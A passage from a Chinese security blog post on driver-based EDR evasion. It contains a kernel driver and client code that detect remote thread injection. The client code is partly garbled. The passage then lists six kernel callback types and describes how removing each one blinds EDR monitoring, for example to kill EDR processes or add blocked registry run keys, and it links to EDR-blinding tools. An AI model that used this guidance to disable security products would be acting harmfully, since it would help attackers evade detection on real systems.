 status = IoCreateSymbolicLink(&SymbolicLink, &DevName);

 if (!NT_SUCCESS(status)) {
  KdPrint(("符号链接创建失败 (0x%08X)n", status));
  //创建失败时 要销毁设备对象
  IoDeleteDevice(DeviceObject);
  return status;
 }
 //此函数是用于注册线程创建和销毁的回调通知
 status = PsSetCreateThreadNotifyRoutine(ThreadNotify);
 if (!NT_SUCCESS(status)) {
  KdPrint(("注册线程回调失败 (0x%08X)n", status));
  //失败情况需要销毁申请的句柄
  IoDeleteDevice(DeviceObject);
  IoDeleteSymbolicLink(&SymbolicLink);
  return status;

 }
 KdPrint(("线程回调注册成功n"));

 pDriverObject->DriverUnload = DriverUnload;

 InitializeListHead(&global.Header);//初始化链表头 LIST_ENTRY结构的双向链表
 ExInitializeFastMutex(&global.Mutex);

 //指定Create和 Close 分发例程
 pDriverObject->MajorFunction[IRP_MJ_CLOSE] = pDriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchFuncDefault;
 //指定读设备对象的分发例程
 pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchFuncRead;

 status = STATUS_SUCCESS;
 return status;
}

NTSTATUS DispatchFuncRead(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

 UNREFERENCED_PARAMETER(DeviceObject);

 PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
 //缓冲区长度
 ULONG len = stack->Parameters.Read.Length;

 ULONG count = 0;

 NT_ASSERT(Irp->MdlAddress);

 //获取缓冲区地址
 //此函数返回MdlAddress描述的缓冲区非分页系统虚拟机地址
 UCHAR* buffer = (UCHAR*)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority); 
 if (!buffer) {
  KdPrint(("获取缓冲区非分页虚拟地址失败"));
  return STATUS_UNSUCCESSFUL;
 }

 ExAcquireFastMutex(&global.Mutex);

 //一次性将链表中的内容读出来
 while (1) {

  if (IsListEmpty(&global.Header)) break;

  PLIST_ENTRY entry = RemoveHeadList(&global.Header);//去除第一个

  Item* info = CONTAINING_RECORD(entry, Item, Entry);//找到Item结构体地址

  ULONG size = sizeof(ThreadData);

  if (len < size) {

   //如果缓冲区长度不够 就将原数据插回去 然后在退出
   InsertTailList(&global.Header, entry);
   break;
  }

  global.ItemCount--;

  //复制到缓冲区
  memcpy(buffer, &info->Data, size);

  buffer += size;

  len -= size;

  count += size;

  ExFreePool(info);

 }

 ExReleaseFastMutex(&global.Mutex);
 //向用户进程响应请求完成的代码
 Irp->IoStatus.Information = count;

 Irp->IoStatus.Status = STATUS_SUCCESS;

 IoCompleteRequest(Irp, IO_NO_INCREMENT);

 return STATUS_SUCCESS;

}

//此分发例程只需要返回请求成功的状态代码
NTSTATUS DispatchFuncDefault(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

 UNREFERENCED_PARAMETER(DeviceObject);
 Irp->IoStatus.Information = 0;
 Irp->IoStatus.Status = STATUS_SUCCESS;
 IoCompleteRequest(Irp, IO_NO_INCREMENT);

 return STATUS_SUCCESS;
}

//用于驱动程序卸载时执行
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
 UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\??\RemoteThreadCheck");
 IoDeleteSymbolicLink(&symLink);
 IoDeleteDevice(pDriverObject->DeviceObject);

 PsRemoveCreateThreadNotifyRoutine(ThreadNotify);

 //清除整个链表
 while (!IsListEmpty(&global.Header)) {
  PLIST_ENTRY item = RemoveHeadList(&global.Header);
  Item* fullitem = CONTAINING_RECORD(item, Item, Entry);
  ExFreePool(fullitem);
 }
 KdPrint(("DriverUnload okn"));
 return;
}
//触发线程创建销毁时执行
void ThreadNotify(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {
 if (Create) {
  //如果线程的所属进程和创建的进程不一致,说明这个线程是远程进程创建的。
  //这里只收集新线程的信息,判断处理交给用户态进程
  Item* item = (Item *)ExAllocatePool2(POOL_FLAG_PAGED, sizeof(Item), 'abcd');
  if (item) {
   item->Data.ThreadId = HandleToUlong(ThreadId);
   item->Data.Create_ProcessId = HandleToUlong(PsGetCurrentProcessId());
   item->Data.Belong_ProcessId = HandleToUlong(ProcessId);
   //所有新进程的第一个线程都是由pid为4的System进程创建的,所以需要排除
   if (item->Data.Create_ProcessId != item->Data.Belong_ProcessId && item->Data.Create_ProcessId !=4) {
    //到这步检测已完成
    KdPrint(("检测到远程线程注入,tid %d ,cpid %d , bpid %dn", item->Data.ThreadId, item->Data.Create_ProcessId, item->Data.Belong_ProcessId));
    //但是需要把数据传回到用户态的进程,以便弹窗显示威胁
    //将LIST_ENTRY存储到双向链表中
    PushItem(&item->Entry);
   }
   //ExFreePool(item);
  }

 }
}

void PushItem(LIST_ENTRY* entry) {

 ExAcquireFastMutex(&global.Mutex);

 if (global.ItemCount > 1024) { //大于1024个就删除第一个添加的程序

  PLIST_ENTRY pitem = RemoveHeadList(&global.Header);
  //CONTAINING_RECORD 根据结构体成员变量的地址计算出结构体地址
  ExFreePool(CONTAINING_RECORD(pitem, Item, Entry));

  global.ItemCount--;

 }
 //插入新数据
 InsertTailList(&global.Header, entry);
 global.ItemCount++;
 ExReleaseFastMutex(&global.Mutex);
}

EDRClient.exe

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib,"psapi.lib")
typedef struct {

    ULONG ThreadId;
    ULONG Create_ProcessId;
    ULONG Belong_ProcessId;

}ThreadData;

CHAR* GetPathByProcessId(DWORD dwPid)
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
        return NULL;
    CHAR* path = (CHAR*)calloc(MAX_PATH,1);
    GetModuleFileNameExA(hProcess, NULL, path, MAX_PATH);
    return path;
}

int main() {
    HANDLE hFile = CreateFile(L"\\.\RemoteThreadCheck", GENERIC_READ, 00, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

    if (hFile == INVALID_HANDLE_VALUE) {

        printf("设备对象打开失败n");
        return 0;

    }
    while (1) {
        BYTE* buffer = (BYTE*)calloc(1024*2001);
        if (buffer == NULLreturn 0;
        DWORD bytes = 0;
        ReadFile(hFile, buffer, 1024, &bytes, 0);
        while (bytes > 0) {
            ThreadData* item = (ThreadData*)buffer;
            printf("ThreadId:%d, BelongPid:%d, CreatePid:%dn", item->ThreadId, item->Belong_ProcessId, item->Create_ProcessId);
            CHAR* WarningText = (CHAR*)calloc(1024*20,1);
            if (WarningText == NULLreturn 0;
            CHAR* process1 = GetPathByProcessId(item->Create_ProcessId);
            CHAR* process2 = GetPathByProcessId(item->Belong_ProcessId);
            if (process1 && process2 && process1[0]!='' && process2[0] != '') {
                sprintf_s(WarningText, 1024 * 20"进程:n %s n在向进程:n %s n进行远程线程注入, 注入的线程ID为: %d", process1, process2, item->ThreadId);
                MessageBoxA(NULL, WarningText, "警告", MB_OK);
            }
            buffer += sizeof(ThreadData);
            bytes -= sizeof(ThreadData);
        }

        Sleep(1000);

    }
}

常用的回调注册

  1. ObRegisterCallbacks()

    驱动程序可利用此函数来注册回调函数,可以让驱动在试图打开或者复制特定对象类型的句柄时从内核得到实时通知。删除此回调函数,可以致盲EDR 对获取对象句柄的监控。例如可以拿到EDR 的进程完整句柄,从而可以调试/分析或Kill EDR 进程,屏蔽EDR 对其3环进程的保护。

  2. CmRegisterCallback(Ex)

    此注册函数可以让驱动在访问、修改注册表时从内核得到实时通知。如果能删除此回调,可以致盲EDR 对注册表的监控,例如添加正常情况会被拦截的注册表启动项,修改EDR 注册表服务配置从而永久禁用EDR。但是此回调地址受PatchGuard 保护,修改其回调函数地址会触发BSOD,后面会说明如何绕过。

  3. MiniFilter微过滤器驱动

    通过注册文件系统微过滤器驱动程序,可以在创建/修改/删除文件时得到驱动程序得到通知。如果能删除此回调,可以使EDR 无法监控恶意文件落地,并且可以禁用EDR 对其自身文件的保护,从而删除EDR 文件来永久禁用EDR。但是某些回调地址也受PatchGuard 保护,修改某些回调地址时会触发BSOD,后面会说明如何绕过。

  4. PsSetCreateProcessNotifyRoutine(Ex)

    此注册函数可以让驱动在进程被创建或销毁时都能从内核得到实时通知。通过删除此回调函数,可以使致盲EDR 对进程活动的监控,例如使其无法监控进程启动、分析木马进程链关系。

  5. PsSetCreateThreadNotifyRoutine(Ex)

    此注册函数可以让驱动在线程被创建或销毁时都能从内核得到实时通知。删除此回调函数,可以致盲EDR 对线程活动的监控,例如使其无法对远程线程注入进行监控。

  6. PsSetLoadImageNotifyRoutine(Ex)

    此注册函数可以让驱动在任何Image(EXE、DLL、驱动)文件被加载时都能从内核得到实时通知。删除此回调函数,可以致盲EDR 对EXE、DLL、驱动执行加载的监控。

reference

https://myzxcg.com/2023/09/%E7%99%BD%E9%A9%B1%E5%8A%A8-Kill-AV/EDR%E4%B8%8A/
https://blog.nviso.eu/2021/10/21/kernel-karnage-part-1/
https://myzxcg.com/2023/10/%E7%99%BD%E9%A9%B1%E5%8A%A8-Kill-AV/EDR%E4%B8%8B/
https://github.com/myzxcg/RealBlindingEDR
https://github.com/ZeroMemoryEx/Blackout
https://myzxcg.com/2023/10/AV/EDR-%E5%AE%8C%E5%85%A8%E8%87%B4%E7%9B%B2-%E6%B8%85%E9%99%A46%E5%A4%A7%E5%86%85%E6%A0%B8%E5%9B%9E%E8%B0%83%E5%AE%9E%E7%8E%B0/
https://www.loldrivers.io/
https://www.cnblogs.com/gaochundong/p/windbg_cheat_sheet.html#process_info_cmds
https://medium.com/@VL1729_JustAT3ch/removing-process-creation-kernel-callbacks-c5636f5c849f


原文始发于微信公众号(渗透测试安全攻防):免杀的艺术:浅谈驱动对抗EDR

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月19日02:20:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀的艺术:浅谈驱动对抗EDRhttps://cn-sec.com/archives/2586183.html

发表评论

匿名网友 填写信息